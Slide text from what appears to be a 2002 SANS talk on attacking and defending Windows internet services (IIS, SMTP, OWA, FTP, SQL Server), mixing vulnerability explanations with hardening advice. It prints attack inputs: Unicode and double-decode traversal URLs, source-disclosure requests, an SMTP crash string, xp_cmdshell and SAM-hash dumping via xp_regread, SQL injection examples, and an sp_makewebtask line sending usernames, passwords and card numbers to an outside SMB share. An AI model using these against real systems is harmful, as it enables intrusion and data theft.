Smashing Windows: Attacking & Defending Windows Internet Services

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SMASHING WINDOWS Attacking and Defending Windows Internet Services H D Moore Digital Defense Inc.

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SANS 2002 2 Introduction • H D Moore – Senior Analyst at Digital Defense – 5 years experience penetration testing – Contact: hdm@digitaloffense.net • Digital Defense – Founded January 2000 – Provide recurring assessment services – Specialize in financial industry

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SANS 2002 3 Agenda – Quick Overview – Internet Information Server – Microsoft SMTP Service – Outlook Web Access – Microsoft FTP Service – Microsoft SQL Server – Demos / Questions

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1/26/2016 SANS 2002 4 Quick Overview • Why should you sit through this? – Learn how crackers get in – Learn how to assess your own systems – See why network worms are so effective – Demonstrate why a patch needs to be applied – Actually verify that a patch worked – Check new software for related problems

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SANS 2002 5 Quick Overview • Why bother with assessing Windows? – Over 30% of all of web sites run on Windows – Popular online banking and e-commerce platform – Incredibly easy to install and start using – Most services have insecure default settings – Isn’t it secure with patches? Just wait a week…

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(a.k.a Incredibly Insecure System) IIS Internet Information Server

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SANS 2002 7 IIS – Security Overview • What is IIS? – Microsoft’s Web Server Product – Standard component of Windows 2000+ – Aims to be easy to use and extend – Horrible security architecture – Most features are enabled by default – Every version to date has been vulnerable to a remote shell granting attack in its default configuration.

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SANS 2002 8 IIS - Usage • Where is IIS used? – Corporate Web Sites – E-Commerce Sites – Online Banking Systems – Intranet/Internal Sites – With other products • Sendmail for Windows – Various “appliances” • Cisco VOIP systems

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SANS 2002 9 IIS – Usage • Why is it used? – Provided with the operating system – Very user-friendly configuration – Large number of ASP/CF developers – Huge feature set, easy to extend – Integrates with a Windows network – Decent performance by comparison

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SANS 2002 10 IIS - Vulnerabilities • Three Primary Sources of Vulnerabilities – ISAPI Extensions • Code Red Worm – Sample Scripts • RDS Exploit – IIS Core • ::$DATA • Unicode • Double Decode

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SANS 2002 11 IIS – ISAPI Extensions • What is an ISAPI extension? – Adds functionality to IIS – Usually in the form of a DLL – ASP, CFML, PHP are extensions – Usually tied to specific suffix (.asp, .ida) • Types of security problems – Buffer Overflows – Information Disclosure

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SANS 2002 12 IIS – ISAPI Extensions • Why are they such a security risk? – Code is not as well reviewed as core IIS – Extensions are enabled by default – Extension code can execute as SYSTEM • Where are the extensions shown? – Open Internet Services Manager – Select Web Site -> Properties – Home Directory -> Configuration

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SANS 2002 13 IIS – ISAPI Extensions Extension Configuration

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SANS 2002 14 IIS – ISAPI Vulnerabilities • Remote Code Execution – Overflow in ISM.dll (.htr) • Overflow in URL at ~3000 bytes • Exploit code was released 2 years ago • Only affects pre-SP6 IIS 4.0 servers – Overflow in IDQ.dll (.idq) • Overflow in Host header at ~220 bytes • “Code Red” used this to propagate • Affects both IIS 4.0 and 5.0

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SANS 2002 15 IIS – ISAPI Vulnerabilities • Remote Code Execution – Overflow in MSW3PRT.dll (.printer) • Overflow is in the Host: header at ~240 bytes • Exploit code in wide circulation and very effective • Affects Windows 2000 / IIS 5.0 only – Overflow in ActiveState PerlIIS.dll (.plx) • Overflow in URL at ~340 bytes • Exploit code in circulation • Affects ActiveState Perl 5.6.1 < build 630

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SANS 2002 16 IIS – ISAPI Vulnerabilities • Information Disclosure – Source disclosure with ISM.dll (.htr) • http://server/somescript.asp+.htr • http://server/somescript.asp?(%20 * 230).htr – Source disclosure with WEBHITS.dll (.htw) • http://server/null.htw?CiWebHitsFile=/default.asp%20

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SANS 2002 17 IIS – ISAPI Vulnerabilities • Information Disclosure – Physical path disclosure in IDQ.dll (.idq) • http://server/nonexistent.idq • http://server/nonexistent.ida – Physical path disclosure in HTTPODBC.dll (.idc) • http://server/nonexistent.idc

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SANS 2002 18 IIS – ISAPI Solutions • Remove Everything! (almost) – There are only a few extensions most people actually need: .asp, .asa, .shtml, .shtm. – Extensions like .php and .cfml are usually ok provided that they are at the latest patch level.

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SANS 2002 19 IIS – ISAPI Solutions

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SANS 2002 20 IIS – ISAPI Solutions

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SANS 2002 21 IIS – Sample Scripts • The problem with sample scripts – Demonstrate possibly dangerous features – Included as part of a default install – Have absolutely no access control – Unaffected by service packs and hotfixes – Often located in a different volume and added as a virtual directory, allowing other vulnerabilities to be further exploited.

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SANS 2002 22 IIS – Sample Scripts • Vulnerabilities in Sample Scripts – View Arbitrary files • Multiple ShowCode.asp scripts – Remote Database Access • The infamous /MSADC/msadcs.dll (RDS) • adctest.exe, mkilog.exe, ctss.idc – Guess/Change User Accounts • All the scripts in /IISADMPWD/ – Network Tunnels • Port relaying via /rpc/rpcproxy.dll

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SANS 2002 23 IIS – Sample Scripts

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SANS 2002 24 IIS – Sample Scripts • Sample Scripts - Solution – Actually delete sample files – Remove the Virtual Directories – Select “Custom Install” next time

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SANS 2002 25 IIS – Core • What problems exist in the core server? – File System Quirks – “Translate: f” Bug – Directory Traversal – IIS WebDav Features

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SANS 2002 26 IIS – Core • File System Quirks – DOS 8.3 File Names – Bypass IIS ACL’s • Affects pre-SP6 IIS 4.0 • http://server/protected/ ( becomes) • http://server/protec~1/ – NTFS File Streams – Access Source • Affects pre-SP6 IIS 4.0 • http://server/login.asp::$DATA

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SANS 2002 27 IIS – Core • “Translate: f” Bug – Retrieve the source of any file on the server: GET /global.asa\ HTTP/1.0 Translate: f – Affects Windows 2000 pre-SP1 only

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SANS 2002 28 IIS – Core • What is Directory Traversal? – Most file systems use two special directory names to refer to the current and parent directory. – A single period “.” refers to the current directory. – A double period “..” refers to the directory above. – Directory traversal bugs are dependent on these special directory names to access files outside of the defined root directory

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SANS 2002 29 IIS – Core • Directory Traversal – Win9x “…” – Windows 9x supports multiple-dot parent paths • http://server/……………/autoexec.bat • http://server/……/windows/command.com?echo+hello – Works on Win9x machines running IIS or PWS – Other web servers on Win9x have been vulnerable

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SANS 2002 30 IIS – Core • Directory Traversal – UNICODE – Windows supports a two-byte character encoding system called “UNICODE”. – Alternate character sets can used to make web requests by requesting their hexified values – The “/” and “\” characters can be represented with their UNICODE counterparts and older IIS versions will allow requests UNDER the web root. – Affects IIS 4.0 and IIS 5.0 – Other web servers may be affected

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SANS 2002 31 IIS – Core • Directory Traversal – UNICODE – Example: (%c0%af = “/”) • http://server/.. %c0%af.. %c0%af../boot.ini – Number of variations depends on installed langs – Possible to execute \winnt\system32\cmd.exe – Exploited by many different worms – Very popular exploit among “kids”

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SANS 2002 32 IIS – Core • Directory Traversal – Double Decode – Requests for files in an executable directory are hex-decoded twice and the final result is not checked for parent paths. – Example: • %25 = “%” AND %5c = “\” • Request: http://server/scripts/..%255c../ • First Decode: http://server/scripts/..%5c../ • Second Decode: http://server/scripts/..\../ – IIS 3.0, 4.0, 5.0 are affected

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SANS 2002 33 IIS – Core

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SANS 2002 34 IIS – Core • IIS WebDav Features – DAV is Distributed Authoring and Versioning – WebDav provides content mgmt via HTTP – WebDav is accessed as HTTP methods – XML used for complex requests – A “normal” web request GET / HTTP/1.0 – A WebDav request PUT /newpage.html HTTP/1.0

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SANS 2002 35 IIS – Core • IIS WebDav Features – OPTIONS • OPTIONS / HTTP/1.0 • Returns a list of allowed HTTP methods • Methods in Allow: are accessible – SEARCH • Able to retrieve a directory listing through XML

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SANS 2002 36 IIS – Core • IIS WebDav Features – PUT • Common among misconfigured IIS 4.0 servers • Allows direct file uploads via WebDav (FrontPage) – DELETE • Common among misconfigured IIS 4.0 servers • Allows deletion of any file in the web root

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SANS 2002 37 IIS – Core • IIS WebDav Features – MOVE • Common among misconfigured IIS 4.0 servers • Allows you to move any file or directory – MKDIR/MKCOL • Only found on machines with really bad permissions • Allows creation of directories

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SANS 2002 38 IIS – Core • IIS WebDav Features – COPY • Most servers allow this, but it rarely works • Copy / HTTP/1.0 • Destination: http://nuthaserver/newdir/ – PROPFIND • Allowed by default • Needs XML input to do anything interesting • Various DoS attacks with long args to this command

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SANS 2002 39 IIS – Summary • A remote compromise is practically guaranteed by the number of vulnerabilities in a default installation. • Microsoft’s “feature push” strategy to encourage upgrades ensures there will be always be new vulnerabilities. • The amount of effort, knowledge, and time required to effectively secure an IIS server means that only experienced, security-aware administrators, have a chance of succeeding. • Microsoft is making attempts to simplify the assessment and patching process by releasing free security tools.

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SANS 2002 40 IIS – Questions ?

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“I send you this file in order to have your advice” - Sircam Worm IMS Microsoft Internet Mail Service

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SANS 2002 42 IMS – Security Overview • What is IMS? – IMS supports the Simple Mail Transport Protocol – Part of Windows NT 4.0 Option Pack – Comes standard with Windows 2000 – Aims to be easy to use and configure – Often overlooked when it comes to security

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SANS 2002 43 IMS – Security Overview • What problems exist? – Unauthorized Mail Relaying – Denial of Service Attacks – Information Gathering

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SANS 2002 44 IMS - Vulnerabilities • Unauthorized Mail Relaying – Misconfigured Mail Servers • Verify that relaying is turned off or at least properly configured – Windows 2000 SMTP Auth Bypass • AUTH GSSAPI

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SANS 2002 45 IMS – Vulnerabilities • Denial of Service Attacks – IMS + Exchange 5.5 Empty Character Set • Email with: charset = “” – Windows 2000 BDAT/AUTH Crash • BDAT 4\r\nb00mAUTH LOGIN\r\n\r\n\r\n\r\n

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SANS 2002 46 SMTP – Vulnerabilities • Information Gathering – “Bounce” messages can contain sensitive information about a company’s internal network and domain – The AUTH and XAUTH commands can be used to brute-force user accounts through SMTP

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SANS 2002 47 SMTP – Summary • Many SMTP servers are misconfigured or buggy in a way that allows spam relaying. • The SMTP service can be used to gather sensitive information about a network • While a few DoS conditions exist, newer versions of Windows automatically restart a crashed service.

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SANS 2002 48 SMTP – Questions ?

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(The CEO wants WHAT installed?) OWA Microsoft Outlook Web Access

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SANS 2002 50 OWA – Security Overview • What is Outlook Web Access? – Web mail client for Microsoft Exchange – Runs on top of IIS 4.0 or 5.0 – Emulates the Outlook interface – Written in ASP, uses COM+ objects

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SANS 2002 51 OWA – Security Overview • What problems exist? – All IIS vulnerabilities apply – Defaults to clear text HTTP transport – Anonymous access enabled by default – Allows exploitation of client-side bugs

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SANS 2002 52 OWA – Vulnerabilities • OWA runs on IIS – Many people forget to include OWA machines when applying patches to their “web servers” – Crackers and worms don’t care what it is, as long as it’s running the IIS web server – Cracking the OWA machine provides full access to login and mail ASP scripts

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SANS 2002 53 OWA – Vulnerabilities • Defaults to Clear Text – Many people run OWA across regular HTTP, allowing their login and email to be easily sniffed – Enabling SSL is not too difficult, provided you know how to configure SSL under IIS.

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SANS 2002 54 OWA – Vulnerabilities • Anonymous Access by Default – A default install allows full access to the Global Address List to unauthenticated users – “Public Folders” are exactly that, viewable by anyone able to access the server

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SANS 2002 55 OWA – Vulnerabilities • Exploitation of Client Side Bugs – It is possible to embed a hostile application into an email message and force it to run when a user reads their email via Internet Explorer – There are various “Cross Site Scripting” issues with OWA which could allow someone to read any cookies or email contents

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SANS 2002 56 OWA – Summary • Outlook Web Access is a fairly dangerous application to maintain just to provide access to email over the web. • The actual OWA scripts have been proven to be pretty solid, most of the issues are with the underlying IIS server or the default config. • If you do run OWA, please stay on top of IIS patches, disable anonymous access, and keep sensitive information out of “Public Folders”

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SANS 2002 57 OWA – Questions ?

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“So that’s how we do Bill Pay…” FTP The Microsoft FTP Service

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SANS 2002 59 FTP – Security Overview • What is the FTP service? – The File Transfer Protocol – THE method of transmitting stored files – Part of Windows NT 4.0 Option Pack – Comes standard with Windows 2000 – Easy to configure and use

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SANS 2002 60 FTP – Security Overview • What problems exist? – Unencrypted login and transfer – Anonymous access by default – Predictable PASV port selection – SITE STATS information leak – STAT Globbing Attack

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SANS 2002 61 FTP – Vulnerabilities • Unencrypted login and transfer – Authentication information is sent in clear text and trivial to capture – The actual file transfers are unencrypted and easy to sniff and extract

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SANS 2002 62 FTP – Vulnerabilities • Anonymous Access by Default – The default installation allows access using the standard “anonymous” and “ftp” account – Systems with bad permissions for the FTP root are automatically turned into warez servers for the various pirate groups

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SANS 2002 63 FTP – Vulnerabilities • Predictable PASV Port – FTP uses one connection from the client to port 21 on the server as the “control” port – Directory listings and file transfers are done via a second connection – Active FTP uses a connection from the server to the client – Passive FTP opens a port on the server and the client connects to it

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SANS 2002 64 FTP – Vulnerabilities • Predictable PASV Port – Many FTP servers use single-incrementing port numbers for the “passive” data port – With MS FTP 4.0, it is possible to guess the next data port and steal another user’s file transfer – With MS FTP 5.0, a hijack attempt will just disconnect and the client’s FTP session becomes unusable – Automated tools exist to exploit this

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SANS 2002 65 FTP – Vulnerabilities • SITE STATS Information Leak – The SITE STATS feature shows how many times each FTP command has been executed – An anonymous user can profile a FTP server to determine when other users are logging on – The statistics can reveal what privileged commands are being executed and at what time – Usage profiles can be used in conjunction with the PASV port attack to steal scheduled transfers

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SANS 2002 66 FTP – Vulnerabilities • SITE STATS Information Leak – Sample output from ftp.XiXroXoXt.com DELE : 19993 MKD : 12260 RETR : 4157300 STOR : 34736 USER : 5829438 PASS : 5792087

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SANS 2002 67 FTP – Vulnerabilities • STAT Globbing Attack – MS notified early Dec. – No fix available yet – MS FTP 4.0 and 5.0 vulnerable – Crashes ALL IIS services • STAT *? – Possibly exploitable

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SANS 2002 68 FTP – Summary • The FTP protocol was never designed with security in mind. • The secondary data channel does not require authentication and is trivial to hijack. • If you must run FTP, please encrypt AND sign your files before transferring.

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SANS 2002 69 FTP – Questions ?

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(Where did your data go today?) MSSQL Microsoft SQL Server

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SANS 2002 71 MSSQL – Security Overview • What is SQL Server? – Microsoft’s relational database product – Originally based on the Sybase engine – Often installed with other products – Ships by default on many vendor machines – “Personal” editions exist for client systems – Popular backend for web applications • E-Commerce • Financial Services

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SANS 2002 72 MSSQL – Security Overview • Security Issues – Service runs as Administrator or SYSTEM – Default accounts are the biggest problem – SQL User Level Privilege Escalation – Service is easily located on the network – Dangerous Stored Procedures – Syntax optimal for SQL insertion attacks

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SANS 2002 73 MSSQL – Vulnerabilities • Service Runs as Administrator or SYSTEM – A compromise of the “sa” account results in full access to the entire system – Any bugs in the listening service or query parser could result in a complete system compromise

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SANS 2002 74 MSSQL – Vulnerabilities • Default Accounts are the Biggest Problem – The all-powerful “sa” account often has no password set, newer versions try to force it. – The “probe” account in 6.5 is unprivileged, but gaining “sa” access is trivial in that version. – A network worm appeared in late November 2001, exploiting the default “sa” account and propagating via stored procedures.

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SANS 2002 75 MSSQL – Vulnerabilities • SQL User Level Privilege Escalation – SQL 7.0 Trusted Connections SELECT * FROM OPENROWSET('SQLOLEDB', 'Trusted_Connection=Yes;Data Source=myserver', 'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"') – Buffer overflows in Extended Stored Procedures

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SANS 2002 76 MSSQL – Vulnerabilities • Service is Easily Located on the Network – Use the SQLPing utility – Use osql -L – SQL Server can use these transports: • TCP/IP(TCP 1433, UDP 1433, 1434) • MS RPC (dynamic ports) • Named Pipes • IPX/SPX / AppleTalk / Banyan Vines

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SANS 2002 77 MSSQL – Vulnerabilities • Dangerous Stored Procedures – The infamous xp_cmdshell EXEC master..xp_cmdshell “cmd.exe /c …” – Sending query results back to you via SMB EXEC master..sp_makewebtask “\\ip\tmp\test.html”, “SELECT username, password,cc from users” – Dump the SAM password hashes via xp_regread EXEC xp_regread HKLM, 'SECURITY\SAM\Domains\Account ','F'

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SANS 2002 78 MSSQL – Vulnerabilities • Syntax Optimal for SQL Insertion Attacks – Queries can be stacked via semi-colon SELECT * FROM cats WHERE id = 4; UPDATE USER SET … – Comments can be inserted inline SELECT * FROM users WHERE user = ‘bob’;-- ‘ AND password = “bad password” – The engine provides verbose error messages about SQL syntax problems

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SANS 2002 79 MSSQL – Summary • Compromising the “sa” account is almost always equivalent to having local Administrator access to the SQL Server machine (hint: don’t run a database on your DC’s). • Since SQL Server supports so many different network protocols, a simple packet filter on ports 1433/1434 is usually not enough to restrict access. • Recent versions of MS-SQL (2k+) are slightly more secure out of the box, the “Typical” install only allows Domain Authentication.

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SANS 2002 80 MSSQL – Questions ?